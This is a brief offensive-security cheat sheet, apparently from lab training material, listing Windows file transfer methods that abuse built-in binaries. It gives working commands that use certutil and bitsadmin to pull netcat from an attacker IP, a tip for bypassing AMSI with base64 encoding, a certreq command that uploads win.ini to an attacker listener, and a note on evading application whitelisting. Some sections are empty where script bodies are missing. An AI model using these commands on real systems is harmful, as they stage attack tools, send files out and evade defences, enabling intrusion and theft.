Windows Native Transfers
CertUtil
AMSI may flag this — consider base64 encoding to bypass. Useful for pulling tools through pivots.
certutil.exe -urlcache -split -f http://10.10.10.32/nc.exe nc.exe
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exeBase64 encode/decode with CertUtil:
certutil.exe -encode nc.exe nc.txt
certutil.exe -urlcache -split -f "http://10.10.10.32/nc.txt" nc.txt
certutil.exe -decode nc.txt nc.exeBitsadmin
bitsadmin /transfer wcb /priority foreground http://10.10.10.32:8000/nc.exe C:\Users\htb-student\Desktop\nc.exeCertReq.exe Upload (LOLBIN)
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.iniCatch on attacker with nc -lvnp 8000.
GfxDownloadWrapper.exe (LOLBIN)
Intel Graphics Driver binary — may bypass application whitelisting:
RDP File Transfer
Mount Local Folder via xfreerdp / rdesktop
Access the mounted drive on the remote machine at \\tsclient\linux. Not accessible to other users on the target.
JavaScript Download (cscript.exe)
Save as wget.js:
VBScript Download (cscript.exe)
Save as wget.vbs:
References
LOLBAS Project (Windows) — search
/downloador/uploadGTFOBins (Linux) — search
+file downloador+file upload
Last updated